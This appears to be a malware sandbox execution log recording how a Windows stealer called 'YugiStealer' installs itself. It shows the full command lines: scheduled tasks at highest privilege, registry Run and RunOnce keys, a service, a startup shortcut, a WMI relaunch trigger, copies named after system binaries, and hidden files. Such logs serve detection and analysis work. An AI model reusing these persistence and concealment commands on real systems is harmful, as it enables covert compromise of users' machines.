C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onstart /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\winlogon.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\winlogon.exe\" }"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\winlogon.exe\" start= auto"2⤵
-
C:\Windows\System32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\winlogon.exe\" start= auto3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\winlogon.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\winlogon.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\winlogon.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\winlogon.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\VufoZIDm\TraumatizerV3.exe"C:\Windows\Temp\VufoZIDm\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\VufoZIDm\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\VufoZIDm\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\VufoZIDm\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\VufoZIDm\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\VufoZIDm\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\VufoZIDm\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\VufoZIDm\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\VufoZIDm\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16832.bat"3⤵
-
C:\Windows\System32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16833.bat"3⤵
-
C:\Windows\System32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\System32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Users\Public\Documents\lsass.exe"C:\Users\Public\Documents\lsass.exe"1⤵
- Drops startup file
- Executes dropped EXE
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onstart /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\lsass.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\lsass.exe\" }"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\lsass.exe\" start= auto"2⤵
-
C:\Windows\System32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\lsass.exe\" start= auto3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\lsass.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\lsass.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\lsass.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\lsass.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\btEw1UIN\TraumatizerV3.exe"C:\Windows\Temp\btEw1UIN\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\btEw1UIN\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\btEw1UIN\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\btEw1UIN\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\btEw1UIN\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\btEw1UIN\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\btEw1UIN\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\btEw1UIN\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\btEw1UIN\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16832.bat"3⤵
-
C:\Windows\System32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16819.bat"3⤵
-
C:\Windows\System32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\System32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\Temp\services.exe"C:\Windows\Temp\services.exe"1⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\services.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\services.exe\" /sc onstart /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\services.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\services.exe\" }"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\services.exe\" start= auto"2⤵
-
C:\Windows\System32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\services.exe\" start= auto3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\services.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\services.exe\" /f3⤵
- Modifies registry key
-
-
-
